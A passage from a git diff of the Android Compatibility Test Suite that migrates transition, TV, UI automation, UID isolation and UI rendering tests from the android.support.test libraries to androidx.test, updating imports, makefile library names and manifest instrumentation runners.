 import android.widget.ImageView;
 import android.widget.ImageView.ScaleType;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/ChangeScrollTest.java b/tests/tests/transition/src/android/transition/cts/ChangeScrollTest.java
index 01969cb..b772a29 100644
--- a/tests/tests/transition/src/android/transition/cts/ChangeScrollTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ChangeScrollTest.java
@@ -18,12 +18,13 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.ChangeScroll;
 import android.transition.TransitionManager;
 import android.view.View;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/ChangeTransformTest.java b/tests/tests/transition/src/android/transition/cts/ChangeTransformTest.java
index 38474a2..45f7c93 100644
--- a/tests/tests/transition/src/android/transition/cts/ChangeTransformTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ChangeTransformTest.java
@@ -21,13 +21,14 @@
 import static org.mockito.Mockito.never;
 import static org.mockito.Mockito.verify;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.ChangeTransform;
 import android.transition.TransitionManager;
 import android.view.View;
 import android.view.ViewGroup;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/ExplodeTest.java b/tests/tests/transition/src/android/transition/cts/ExplodeTest.java
index 52340e0..b7abbb3 100644
--- a/tests/tests/transition/src/android/transition/cts/ExplodeTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ExplodeTest.java
@@ -21,12 +21,13 @@
 import static org.mockito.Mockito.never;
 import static org.mockito.Mockito.verify;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.Explode;
 import android.transition.TransitionManager;
 import android.view.View;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/FadeTest.java b/tests/tests/transition/src/android/transition/cts/FadeTest.java
index 48f6aa1..a2f5441 100644
--- a/tests/tests/transition/src/android/transition/cts/FadeTest.java
+++ b/tests/tests/transition/src/android/transition/cts/FadeTest.java
@@ -28,8 +28,6 @@
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.drawable.BitmapDrawable;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.Fade;
 import android.transition.Scene;
 import android.transition.Transition;
@@ -41,6 +39,9 @@
 import android.widget.FrameLayout;
 import android.widget.ImageView;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/PatternPathMotionTest.java b/tests/tests/transition/src/android/transition/cts/PatternPathMotionTest.java
index a7ae8f3..828f2bd 100644
--- a/tests/tests/transition/src/android/transition/cts/PatternPathMotionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/PatternPathMotionTest.java
@@ -18,10 +18,11 @@
 import static org.junit.Assert.assertSame;
 
 import android.graphics.Path;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.PatternPathMotion;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/transition/src/android/transition/cts/PropagationTest.java b/tests/tests/transition/src/android/transition/cts/PropagationTest.java
index dfd7b03..6a83f95 100644
--- a/tests/tests/transition/src/android/transition/cts/PropagationTest.java
+++ b/tests/tests/transition/src/android/transition/cts/PropagationTest.java
@@ -19,8 +19,6 @@
 import static org.junit.Assert.assertTrue;
 
 import android.graphics.Rect;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.CircularPropagation;
 import android.transition.SidePropagation;
 import android.transition.Transition;
@@ -28,6 +26,9 @@
 import android.view.Gravity;
 import android.view.View;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/transition/src/android/transition/cts/SceneTest.java b/tests/tests/transition/src/android/transition/cts/SceneTest.java
index 8c06f51..80028e0 100644
--- a/tests/tests/transition/src/android/transition/cts/SceneTest.java
+++ b/tests/tests/transition/src/android/transition/cts/SceneTest.java
@@ -24,12 +24,13 @@
 import static org.mockito.Mockito.verify;
 import static org.mockito.Mockito.verifyZeroInteractions;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.Scene;
 import android.view.View;
 import android.view.ViewGroup;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.mockito.invocation.InvocationOnMock;
diff --git a/tests/tests/transition/src/android/transition/cts/SlideBadEdgeTest.java b/tests/tests/transition/src/android/transition/cts/SlideBadEdgeTest.java
index e0ce0cc..9b6b803 100644
--- a/tests/tests/transition/src/android/transition/cts/SlideBadEdgeTest.java
+++ b/tests/tests/transition/src/android/transition/cts/SlideBadEdgeTest.java
@@ -17,12 +17,13 @@
 
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.Slide;
 import android.view.Gravity;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/transition/src/android/transition/cts/SlideDefaultEdgeTest.java b/tests/tests/transition/src/android/transition/cts/SlideDefaultEdgeTest.java
index 3de780c..f1b4cfe 100644
--- a/tests/tests/transition/src/android/transition/cts/SlideDefaultEdgeTest.java
+++ b/tests/tests/transition/src/android/transition/cts/SlideDefaultEdgeTest.java
@@ -17,11 +17,12 @@
 
 import static org.junit.Assert.assertEquals;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.Slide;
 import android.view.Gravity;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/transition/src/android/transition/cts/SlideEdgeTest.java b/tests/tests/transition/src/android/transition/cts/SlideEdgeTest.java
index f70db09..bad6d38 100644
--- a/tests/tests/transition/src/android/transition/cts/SlideEdgeTest.java
+++ b/tests/tests/transition/src/android/transition/cts/SlideEdgeTest.java
@@ -24,8 +24,6 @@
 import static org.mockito.Mockito.never;
 import static org.mockito.Mockito.verify;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.Slide;
 import android.transition.Transition;
 import android.transition.TransitionManager;
@@ -33,6 +31,9 @@
 import android.view.View;
 import android.view.ViewGroup;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Test;
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionInflaterTest.java b/tests/tests/transition/src/android/transition/cts/TransitionInflaterTest.java
index 9a7ab94..346004e 100644
--- a/tests/tests/transition/src/android/transition/cts/TransitionInflaterTest.java
+++ b/tests/tests/transition/src/android/transition/cts/TransitionInflaterTest.java
@@ -24,8 +24,6 @@
 import android.content.Context;
 import android.graphics.Path;
 import android.graphics.PathMeasure;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.ArcMotion;
 import android.transition.AutoTransition;
 import android.transition.ChangeBounds;
@@ -50,6 +48,9 @@
 import android.widget.ImageView;
 import android.widget.TextView;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionListenerAdapterTest.java b/tests/tests/transition/src/android/transition/cts/TransitionListenerAdapterTest.java
index 1438788..9d7ff2d 100644
--- a/tests/tests/transition/src/android/transition/cts/TransitionListenerAdapterTest.java
+++ b/tests/tests/transition/src/android/transition/cts/TransitionListenerAdapterTest.java
@@ -16,8 +16,9 @@
 package android.transition.cts;
 
 import android.transition.TransitionListenerAdapter;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionManagerTest.java b/tests/tests/transition/src/android/transition/cts/TransitionManagerTest.java
index 27cd3f6..ac868ad 100644
--- a/tests/tests/transition/src/android/transition/cts/TransitionManagerTest.java
+++ b/tests/tests/transition/src/android/transition/cts/TransitionManagerTest.java
@@ -27,14 +27,15 @@
 
 import android.graphics.Rect;
 import android.os.SystemClock;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.Scene;
 import android.transition.Transition;
 import android.transition.TransitionManager;
 import android.view.View;
 import android.view.ViewTreeObserver;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.mockito.ArgumentCaptor;
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionSetTest.java b/tests/tests/transition/src/android/transition/cts/TransitionSetTest.java
index 489fb2d..a9c1a7d 100644
--- a/tests/tests/transition/src/android/transition/cts/TransitionSetTest.java
+++ b/tests/tests/transition/src/android/transition/cts/TransitionSetTest.java
@@ -24,13 +24,14 @@
 import static org.mockito.Mockito.times;
 import static org.mockito.Mockito.verify;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.ChangeBounds;
 import android.transition.Fade;
 import android.transition.Transition;
 import android.transition.TransitionSet;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionTest.java b/tests/tests/transition/src/android/transition/cts/TransitionTest.java
index 683c222..3a60cd4 100644
--- a/tests/tests/transition/src/android/transition/cts/TransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/TransitionTest.java
@@ -38,8 +38,6 @@
 import android.animation.Animator;
 import android.graphics.Rect;
 import android.os.SystemClock;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.ArcMotion;
 import android.transition.AutoTransition;
 import android.transition.ChangeBounds;
@@ -60,6 +58,9 @@
 import android.widget.RelativeLayout;
 import android.widget.TextView;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -566,7 +567,7 @@
         startTransition(R.layout.scene8);
 
         // scene 8 swaps the ids, but not the names. No transition should happen.
-        waitForEnd(0);
+        waitForEnd(1000);
 
         // now change the match order to prefer the id
         mTransition.setMatchOrder(new int[] {Transition.MATCH_ID, Transition.MATCH_NAME});
diff --git a/tests/tests/transition/src/android/transition/cts/VisibilityTest.java b/tests/tests/transition/src/android/transition/cts/VisibilityTest.java
index 6b608e4..8325328 100644
--- a/tests/tests/transition/src/android/transition/cts/VisibilityTest.java
+++ b/tests/tests/transition/src/android/transition/cts/VisibilityTest.java
@@ -26,14 +26,15 @@
 import static org.mockito.Mockito.verify;
 
 import android.animation.Animator;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.transition.TransitionManager;
 import android.transition.TransitionValues;
 import android.transition.Visibility;
 import android.view.View;
 import android.view.ViewGroup;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/tv/Android.mk b/tests/tests/tv/Android.mk
index 8188d28..072d800 100644
--- a/tests/tests/tv/Android.mk
+++ b/tests/tests/tv/Android.mk
@@ -29,7 +29,7 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/tv/AndroidManifest.xml b/tests/tests/tv/AndroidManifest.xml
index 3de468f..8cb2b79 100644
--- a/tests/tests/tv/AndroidManifest.xml
+++ b/tests/tests/tv/AndroidManifest.xml
@@ -117,7 +117,7 @@
         </activity>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.tv.cts"
             android:label="Tests for the TV APIs.">
         <meta-data android:name="listener"
diff --git a/tests/tests/uiautomation/Android.mk b/tests/tests/uiautomation/Android.mk
index b9bdbfb..e0ab36c 100644
--- a/tests/tests/uiautomation/Android.mk
+++ b/tests/tests/uiautomation/Android.mk
@@ -23,7 +23,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt ub-uiautomator
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/uiautomation/AndroidManifest.xml b/tests/tests/uiautomation/AndroidManifest.xml
index 0573a12..1a0dbdd 100644
--- a/tests/tests/uiautomation/AndroidManifest.xml
+++ b/tests/tests/uiautomation/AndroidManifest.xml
@@ -53,7 +53,7 @@
 
   </application>
 
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                    android:targetPackage="android.app.uiautomation.cts">
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/tests/tests/uidisolation/Android.mk b/tests/tests/uidisolation/Android.mk
index 39bc245..de39ac6 100644
--- a/tests/tests/uidisolation/Android.mk
+++ b/tests/tests/uidisolation/Android.mk
@@ -24,7 +24,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctstestserver
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt ctstestserver
 
 LOCAL_JAVA_LIBRARIES := \
     org.apache.http.legacy \
diff --git a/tests/tests/uidisolation/AndroidManifest.xml b/tests/tests/uidisolation/AndroidManifest.xml
index 09631f5..0872521 100644
--- a/tests/tests/uidisolation/AndroidManifest.xml
+++ b/tests/tests/uidisolation/AndroidManifest.xml
@@ -33,7 +33,7 @@
 
    <uses-permission android:name="android.permission.INTERNET"/>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.uidisolation.cts"
                      android:label="CTS tests of android.uidisolation">
         <meta-data android:name="listener"
diff --git a/tests/tests/uirendering/Android.mk b/tests/tests/uirendering/Android.mk
index ec98a0e..d7bfb0b 100644
--- a/tests/tests/uirendering/Android.mk
+++ b/tests/tests/uirendering/Android.mk
@@ -27,11 +27,11 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctsdeviceutillegacy \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctsdeviceutillegacy-axt \
+    ctstestrunner-axt \
     mockito-target-minus-junit4 \
-    android-support-test
+    androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/runner/UiRenderingRunner.java b/tests/tests/uirendering/src/android/uirendering/cts/runner/UiRenderingRunner.java
index 423b416..75a0dba 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/runner/UiRenderingRunner.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/runner/UiRenderingRunner.java
@@ -16,7 +16,7 @@
 
 package android.uirendering.cts.runner;
 
-import android.support.test.runner.AndroidJUnitRunner;
+import androidx.test.runner.AndroidJUnitRunner;
 
 /**
  * TODO: Do some cool stuff we also want like sharing DrawActivity cross-class.
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AlphaBlendTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AlphaBlendTest.java
index 8c777f8..17eda79 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AlphaBlendTest.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AlphaBlendTest.java
@@ -19,9 +19,6 @@
 import android.content.Context;
 import android.graphics.Canvas;
 import android.graphics.Color;
-import android.graphics.Point;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
@@ -29,6 +26,10 @@
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.FrameLayout;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AutofillHighlightTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AutofillHighlightTests.java
index 837cfc3..e02506f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AutofillHighlightTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AutofillHighlightTests.java
@@ -22,13 +22,14 @@
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.drawable.Drawable;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
 import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapDrawableTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapDrawableTest.java
index 7b01d34..f845f94 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapDrawableTest.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapDrawableTest.java
@@ -17,44 +17,32 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNotSame;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
 
-import android.content.res.Resources.Theme;
-import android.graphics.BitmapFactory;
-import android.graphics.Rect;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
 import android.content.Context;
 import android.content.res.Configuration;
 import android.content.res.Resources;
-import android.content.res.XmlResourceParser;
-import android.graphics.Bitmap;
-import android.graphics.Canvas;
+import android.content.res.Resources.Theme;
 import android.graphics.Color;
+import android.graphics.Rect;
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.Drawable.ConstantState;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapverifiers.RectVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.testinfrastructure.CanvasClient;
 import android.util.LayoutDirection;
 
-import java.io.ByteArrayInputStream;
-import java.io.File;
-import java.io.FileOutputStream;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.IOException;
-import java.io.InputStream;
 
 @MediumTest
 @RunWith(AndroidJUnit4.class)
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapFilterTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapFilterTests.java
index 92c9bd7..1a0affb 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapFilterTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapFilterTests.java
@@ -21,8 +21,6 @@
 import android.graphics.PaintFlagsDrawFilter;
 import android.graphics.Rect;
 import android.graphics.Region;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
 import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.bitmapverifiers.PerPixelBitmapVerifier;
@@ -30,6 +28,9 @@
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.testinfrastructure.CanvasClient;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java
index c88a006..907c88a 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java
@@ -28,8 +28,6 @@
 import android.graphics.Picture;
 import android.graphics.Rect;
 import android.os.Handler;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
 import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
@@ -43,6 +41,9 @@
 import android.view.Window;
 import android.widget.FrameLayout;
 
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Assert;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/CanvasStateTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/CanvasStateTests.java
index 16f98f6..01f569f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/CanvasStateTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/CanvasStateTests.java
@@ -23,14 +23,13 @@
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Path;
-import android.graphics.RectF;
-import android.graphics.Region;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.util.DisplayMetrics;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java
index 2aaf432..edeb2e8 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java
@@ -25,11 +25,12 @@
 import android.graphics.PorterDuffColorFilter;
 import android.graphics.PorterDuffXfermode;
 import android.graphics.drawable.ColorDrawable;
-import android.support.test.filters.LargeTest;
 import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.testinfrastructure.CanvasClient;
 
+import androidx.test.filters.LargeTest;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterTests.java
index 4fd227d..b4c1bf7 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterTests.java
@@ -17,15 +17,15 @@
 package android.uirendering.cts.testclasses;
 
 import android.graphics.Bitmap;
-import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.ColorMatrixColorFilter;
 import android.graphics.Paint;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorSpaceTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorSpaceTests.java
index 871358e..ee6d0ed 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorSpaceTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorSpaceTests.java
@@ -28,13 +28,14 @@
 import android.graphics.Paint;
 import android.graphics.Point;
 import android.graphics.Shader;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
index 57462b6..629127c 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
@@ -29,9 +29,6 @@
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Paint;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.bitmapverifiers.PerPixelBitmapVerifier;
 import android.uirendering.cts.testinfrastructure.Tracer;
 import android.uirendering.cts.util.BitmapAsserter;
@@ -39,6 +36,10 @@
 import android.view.ContextThemeWrapper;
 import android.widget.EdgeEffect;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
index cce9bb0..ea74e8f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
@@ -24,8 +24,6 @@
 import android.graphics.PorterDuff;
 import android.graphics.Rect;
 import android.graphics.drawable.NinePatchDrawable;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapcomparers.BitmapComparer;
 import android.uirendering.cts.bitmapcomparers.ExactComparer;
@@ -35,6 +33,9 @@
 import android.uirendering.cts.bitmapverifiers.RectVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java
index ea7403b..3b48542 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java
@@ -21,14 +21,15 @@
 import android.graphics.Color;
 import android.graphics.Paint;
 import android.graphics.Typeface;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapcomparers.BitmapComparer;
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
 import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
